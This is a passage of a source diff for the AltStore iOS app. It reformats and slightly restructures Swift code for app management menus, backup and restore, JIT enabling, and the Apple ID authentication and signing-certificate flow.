DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
}
|
||||
@@ -1179,8 +1230,9 @@ private extension MyAppsViewController
|
||||
alertController.addAction(.cancel)
|
||||
|
||||
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
|
||||
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in
|
||||
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in
|
||||
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
|
||||
AppManager.shared.backup(installedApp, presentingViewController: self)
|
||||
{ result in
|
||||
do
|
||||
{
|
||||
let app = try result.get()
|
||||
@@ -1192,7 +1244,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
print("Failed to back up app:", error)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
|
||||
@@ -1201,7 +1254,8 @@ private extension MyAppsViewController
|
||||
}
|
||||
}
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
|
||||
}
|
||||
}))
|
||||
@@ -1214,8 +1268,9 @@ private extension MyAppsViewController
|
||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||
alertController.addAction(.cancel)
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in
|
||||
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
|
||||
AppManager.shared.restore(installedApp, presentingViewController: self)
|
||||
{ result in
|
||||
do
|
||||
{
|
||||
let app = try result.get()
|
||||
@@ -1227,14 +1282,16 @@ private extension MyAppsViewController
|
||||
{
|
||||
print("Failed to restore app:", error)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.collectionView.reloadSections([Section.activeApps.rawValue])
|
||||
}
|
||||
}))
|
||||
@@ -1267,7 +1324,8 @@ private extension MyAppsViewController
|
||||
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask
|
||||
{ context in
|
||||
do
|
||||
{
|
||||
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
|
||||
@@ -1291,7 +1349,8 @@ private extension MyAppsViewController
|
||||
|
||||
if tempApp.isActive
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.refresh(installedApp)
|
||||
}
|
||||
}
|
||||
@@ -1300,7 +1359,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
print("Failed to change app icon.", error)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
}
|
||||
@@ -1311,8 +1371,10 @@ private extension MyAppsViewController
|
||||
@available(iOS 14, *)
|
||||
func enableJIT(for installedApp: InstalledApp)
|
||||
{
|
||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
||||
DispatchQueue.main.async {
|
||||
AppManager.shared.enableJIT(for: installedApp)
|
||||
{ result in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
switch result
|
||||
{
|
||||
case .success: break
|
||||
@@ -1329,7 +1391,8 @@ private extension MyAppsViewController
|
||||
{
|
||||
@objc func didFetchSource(_ notification: Notification)
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
|
||||
{
|
||||
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
|
||||
@@ -1347,7 +1410,8 @@ private extension MyAppsViewController
|
||||
|
||||
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
|
||||
|
||||
self.sideloadApp(at: url) { (result) in
|
||||
self.sideloadApp(at: url)
|
||||
{ _ in
|
||||
guard url.isFileURL else { return }
|
||||
|
||||
do
|
||||
@@ -1374,7 +1438,8 @@ extension MyAppsViewController
|
||||
case .updates:
|
||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
|
||||
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
|
||||
headerView.button.setTitle("▾", for: .normal)
|
||||
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
|
||||
@@ -1400,7 +1465,8 @@ extension MyAppsViewController
|
||||
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
|
||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||
|
||||
@@ -1438,7 +1504,8 @@ extension MyAppsViewController
|
||||
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
|
||||
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
|
||||
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
headerView.layoutMargins.left = self.view.layoutMargins.left
|
||||
headerView.layoutMargins.right = self.view.layoutMargins.right
|
||||
|
||||
@@ -1507,50 +1574,61 @@ extension MyAppsViewController
|
||||
{
|
||||
var actions = [UIMenuElement]()
|
||||
|
||||
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in
|
||||
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
|
||||
{ _ in
|
||||
self.open(installedApp)
|
||||
}
|
||||
|
||||
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
|
||||
|
||||
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in
|
||||
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
|
||||
{ _ in
|
||||
self.refresh(installedApp)
|
||||
}
|
||||
|
||||
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in
|
||||
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
|
||||
{ _ in
|
||||
self.activate(installedApp)
|
||||
}
|
||||
|
||||
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in
|
||||
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
|
||||
{ _ in
|
||||
self.deactivate(installedApp)
|
||||
}
|
||||
|
||||
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in
|
||||
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
|
||||
{ _ in
|
||||
self.remove(installedApp)
|
||||
}
|
||||
|
||||
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in
|
||||
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
|
||||
{ _ in
|
||||
guard #available(iOS 14, *) else { return }
|
||||
self.enableJIT(for: installedApp)
|
||||
}
|
||||
|
||||
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in
|
||||
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
|
||||
{ _ in
|
||||
self.backup(installedApp)
|
||||
}
|
||||
|
||||
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in
|
||||
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
|
||||
{ _ in
|
||||
self.exportBackup(for: installedApp)
|
||||
}
|
||||
|
||||
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in
|
||||
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
|
||||
{ _ in
|
||||
self.restore(installedApp)
|
||||
}
|
||||
|
||||
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in
|
||||
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
|
||||
{ _ in
|
||||
self.chooseIcon(for: installedApp)
|
||||
}
|
||||
|
||||
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in
|
||||
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
|
||||
{ _ in
|
||||
self.changeIcon(for: installedApp, to: nil)
|
||||
}
|
||||
|
||||
@@ -1562,7 +1640,9 @@ extension MyAppsViewController
|
||||
|
||||
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
|
||||
|
||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||
else
|
||||
{
|
||||
#if BETA
|
||||
return [refreshAction, changeIconMenu]
|
||||
#else
|
||||
@@ -1605,9 +1685,10 @@ extension MyAppsViewController
|
||||
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
|
||||
{
|
||||
var backupExists = false
|
||||
var outError: NSError? = nil
|
||||
var outError: NSError?
|
||||
|
||||
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
|
||||
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
|
||||
{ backupDirectoryURL in
|
||||
#if DEBUG
|
||||
backupExists = true
|
||||
#else
|
||||
@@ -1649,7 +1730,7 @@ extension MyAppsViewController
|
||||
// Legacy sideloaded app, so can't detect if it's deleted.
|
||||
actions.append(removeAction)
|
||||
}
|
||||
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive
|
||||
else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
|
||||
{
|
||||
// Inactive apps are actually deleted, so we need another way
|
||||
// for user to remove them from AltStore.
|
||||
@@ -1670,7 +1751,8 @@ extension MyAppsViewController
|
||||
case .activeApps, .inactiveApps:
|
||||
let installedApp = self.dataSource.item(at: indexPath)
|
||||
|
||||
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in
|
||||
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
|
||||
{ _ -> UIMenu? in
|
||||
let actions = self.actions(for: installedApp)
|
||||
|
||||
let menu = UIMenu(title: "", children: actions)
|
||||
@@ -1868,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
||||
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
|
||||
else { return UICollectionViewDropProposal(operation: .cancel) }
|
||||
|
||||
var dropDestinationIndexPath: IndexPath? = nil
|
||||
var dropDestinationIndexPath: IndexPath?
|
||||
|
||||
defer
|
||||
{
|
||||
@@ -1881,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
||||
|
||||
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
|
||||
|
||||
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) {
|
||||
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
|
||||
{
|
||||
for indexPath in indexPaths
|
||||
{
|
||||
// Access cell directly so we can animate it correctly.
|
||||
@@ -1917,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
||||
{
|
||||
// Activating
|
||||
|
||||
guard point.y > activeAppsHeaderAttributes.frame.minY else {
|
||||
guard point.y > activeAppsHeaderAttributes.frame.minY
|
||||
else
|
||||
{
|
||||
// Above active apps section.
|
||||
return UICollectionViewDropProposal(operation: .cancel)
|
||||
}
|
||||
|
||||
guard point.y < inactiveAppsHeaderAttributes.frame.minY else {
|
||||
guard point.y < inactiveAppsHeaderAttributes.frame.minY
|
||||
else
|
||||
{
|
||||
// Inactive apps section.
|
||||
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
|
||||
}
|
||||
@@ -1940,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
||||
// Not enough active app slots, so we need to deactivate an app.
|
||||
|
||||
// Provided destinationIndexPath is inaccurate.
|
||||
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else {
|
||||
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
|
||||
else
|
||||
{
|
||||
// Invalid destination index path.
|
||||
return UICollectionViewDropProposal(operation: .cancel)
|
||||
}
|
||||
|
||||
let installedApp = self.dataSource.item(at: indexPath)
|
||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
|
||||
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
|
||||
else
|
||||
{
|
||||
// Can't deactivate AltStore.
|
||||
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
|
||||
}
|
||||
@@ -1978,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
|
||||
installedApp.isActive = true
|
||||
|
||||
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
|
||||
self.deactivate(previousInstalledApp) { (result) in
|
||||
installedApp.managedObjectContext?.perform {
|
||||
self.deactivate(previousInstalledApp)
|
||||
{ result in
|
||||
installedApp.managedObjectContext?.perform
|
||||
{
|
||||
switch result
|
||||
{
|
||||
case .failure: installedApp.isActive = false
|
||||
@@ -2053,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
|
||||
switch controller.documentPickerMode
|
||||
{
|
||||
case .import, .open:
|
||||
self.sideloadApp(at: fileURL) { (result) in
|
||||
self.sideloadApp(at: fileURL)
|
||||
{ result in
|
||||
print("Sideloaded app at \(fileURL) with result:", result)
|
||||
}
|
||||
|
||||
@@ -2079,7 +2173,7 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
|
||||
previewingContext.sourceRect = cell.frame
|
||||
|
||||
let app = self.dataSource.item(at: indexPath)
|
||||
guard let storeApp = app.storeApp else { return nil}
|
||||
guard let storeApp = app.storeApp else { return nil }
|
||||
|
||||
let appViewController = AppViewController.makeAppViewController(app: storeApp)
|
||||
return appViewController
|
||||
@@ -2099,9 +2193,10 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
|
||||
|
||||
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
|
||||
{
|
||||
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any])
|
||||
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
|
||||
{
|
||||
defer {
|
||||
defer
|
||||
{
|
||||
picker.dismiss(animated: true, completion: nil)
|
||||
self._imagePickerInstalledApp = nil
|
||||
}
|
||||
|
||||
@@ -7,12 +7,11 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import Network
|
||||
import Roxas
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import AltStoreCore
|
||||
|
||||
enum AuthenticationError: LocalizedError
|
||||
{
|
||||
@@ -23,8 +22,10 @@ enum AuthenticationError: LocalizedError
|
||||
case missingPrivateKey
|
||||
case missingCertificate
|
||||
|
||||
var errorDescription: String? {
|
||||
switch self {
|
||||
var errorDescription: String?
|
||||
{
|
||||
switch self
|
||||
{
|
||||
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
|
||||
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
|
||||
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
|
||||
@@ -40,17 +41,17 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let context: AuthenticatedOperationContext
|
||||
|
||||
private weak var presentingViewController: UIViewController?
|
||||
|
||||
// private lazy var navigationController: UINavigationController = {
|
||||
// let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
|
||||
// if #available(iOS 13.0, *)
|
||||
// {
|
||||
// navigationController.isModalInPresentation = true
|
||||
// }
|
||||
// return navigationController
|
||||
// }()
|
||||
//
|
||||
// private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
|
||||
|
||||
private lazy var navigationController: UINavigationController = {
|
||||
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
|
||||
if #available(iOS 13.0, *)
|
||||
{
|
||||
navigationController.isModalInPresentation = true
|
||||
}
|
||||
return navigationController
|
||||
}()
|
||||
|
||||
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
|
||||
|
||||
private var appleIDEmailAddress: String?
|
||||
private var appleIDPassword: String?
|
||||
@@ -83,7 +84,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
}
|
||||
|
||||
// Sign In
|
||||
self.signIn() { (result) in
|
||||
self.signIn
|
||||
{ result in
|
||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||
|
||||
switch result
|
||||
@@ -94,7 +96,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
// Fetch Team
|
||||
self.fetchTeam(for: account, session: session) { (result) in
|
||||
self.fetchTeam(for: account, session: session)
|
||||
{ result in
|
||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||
|
||||
switch result
|
||||
@@ -105,7 +108,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
// Fetch Certificate
|
||||
self.fetchCertificate(for: team, session: session) { (result) in
|
||||
self.fetchCertificate(for: team, session: session)
|
||||
{ result in
|
||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||
|
||||
switch result
|
||||
@@ -116,7 +120,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
// Register Device
|
||||
self.registerCurrentDevice(for: team, session: session) { (result) in
|
||||
self.registerCurrentDevice(for: team, session: session)
|
||||
{ result in
|
||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||
|
||||
switch result
|
||||
@@ -126,7 +131,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
// Save account/team to disk.
|
||||
self.save(team) { (result) in
|
||||
self.save(team)
|
||||
{ result in
|
||||
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
|
||||
|
||||
switch result
|
||||
@@ -134,7 +140,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
case .failure(let error): self.finish(.failure(error))
|
||||
case .success:
|
||||
// Must cache App IDs _after_ saving account/team to disk.
|
||||
self.cacheAppIDs(team: team, session: session) { (result) in
|
||||
self.cacheAppIDs(team: team, session: session)
|
||||
{ result in
|
||||
let result = result.map { _ in (team, certificate, session) }
|
||||
self.finish(result)
|
||||
}
|
||||
@@ -153,7 +160,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||
context.performAndWait {
|
||||
context.performAndWait
|
||||
{
|
||||
do
|
||||
{
|
||||
let account: Account
|
||||
@@ -205,7 +213,8 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
|
||||
|
||||
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||
context.perform {
|
||||
context.perform
|
||||
{
|
||||
do
|
||||
{
|
||||
let (altTeam, altCertificate, session) = try result.get()
|
||||
@@ -242,7 +251,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -259,16 +268,17 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
Keychain.shared.signingCertificate = altCertificate.p12Data()
|
||||
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
|
||||
|
||||
self.showInstructionsIfNecessary() { (didShowInstructions) in
|
||||
|
||||
self.showInstructionsIfNecessary
|
||||
{ _ in
|
||||
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
|
||||
// Refresh screen must go last since a successful refresh will cause the app to quit.
|
||||
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in
|
||||
self.showRefreshScreenIfNecessary(signer: signer, session: session)
|
||||
{ _ in
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
// self.navigationController.dismiss(animated: true, completion: nil)
|
||||
self.dismiss()
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -277,9 +287,9 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
{
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
// self.navigationController.dismiss(animated: true, completion: nil)
|
||||
self.dismiss()
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -290,33 +300,25 @@ private extension AuthenticationOperation
|
||||
{
|
||||
func present(_ viewController: UIViewController) -> Bool
|
||||
{
|
||||
UIApplication.shared.keyWindow?.rootViewController?.present(viewController, animated: true)
|
||||
// guard let presentingViewController = self.presentingViewController else { return false }
|
||||
//
|
||||
// self.navigationController.view.tintColor = .white
|
||||
//
|
||||
// if self.navigationController.viewControllers.isEmpty
|
||||
// {
|
||||
// guard presentingViewController.presentedViewController == nil else { return false }
|
||||
//
|
||||
// self.navigationController.setViewControllers([viewController], animated: false)
|
||||
// presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// viewController.navigationItem.leftBarButtonItem = nil
|
||||
// self.navigationController.pushViewController(viewController, animated: true)
|
||||
// }
|
||||
guard let presentingViewController = self.presentingViewController else { return false }
|
||||
|
||||
self.navigationController.view.tintColor = .white
|
||||
|
||||
if self.navigationController.viewControllers.isEmpty
|
||||
{
|
||||
guard presentingViewController.presentedViewController == nil else { return false }
|
||||
|
||||
self.navigationController.setViewControllers([viewController], animated: false)
|
||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
viewController.navigationItem.leftBarButtonItem = nil
|
||||
self.navigationController.pushViewController(viewController, animated: true)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func dismiss() {
|
||||
if let presentingViewController {
|
||||
presentingViewController.dismiss(animated: true)
|
||||
}
|
||||
// UIApplication.shared.keyWindow?.rootViewController?.presentedViewController?.dismiss(animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
private extension AuthenticationOperation
|
||||
@@ -325,30 +327,32 @@ private extension AuthenticationOperation
|
||||
{
|
||||
func authenticate()
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
let viewController = UIHostingController(rootView: NavigationView {
|
||||
ConnectAppleIDView { appleID, password, completionHandler in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
}
|
||||
} completionHandler: { result in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||
authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
|
||||
self.authenticate(appleID: appleID, password: password)
|
||||
{ result in
|
||||
completionHandler(result)
|
||||
}
|
||||
})
|
||||
}
|
||||
authenticationViewController.completionHandler = { result in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
}
|
||||
|
||||
if !self.present(viewController)
|
||||
if !self.present(authenticationViewController)
|
||||
{
|
||||
completionHandler(.failure(OperationError.notAuthenticated))
|
||||
}
|
||||
@@ -357,7 +361,8 @@ private extension AuthenticationOperation
|
||||
|
||||
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
|
||||
{
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
self.authenticate(appleID: appleID, password: password)
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success((let account, let session)):
|
||||
@@ -383,19 +388,21 @@ private extension AuthenticationOperation
|
||||
self.appleIDEmailAddress = appleID
|
||||
|
||||
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
|
||||
fetchAnisetteDataOperation.resultHandler = { (result) in
|
||||
fetchAnisetteDataOperation.resultHandler = { result in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): completionHandler(.failure(error))
|
||||
case .success(let anisetteData):
|
||||
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
|
||||
|
||||
// if let presentingViewController = self.presentingViewController
|
||||
// {
|
||||
verificationHandler = { (completionHandler) in
|
||||
DispatchQueue.main.async {
|
||||
if let presentingViewController = self.presentingViewController
|
||||
{
|
||||
verificationHandler = { completionHandler in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||
alertController.addTextField { (textField) in
|
||||
alertController.addTextField
|
||||
{ textField in
|
||||
textField.autocorrectionType = .no
|
||||
textField.autocapitalizationType = .none
|
||||
textField.keyboardType = .numberPad
|
||||
@@ -403,7 +410,8 @@ private extension AuthenticationOperation
|
||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||
}
|
||||
|
||||
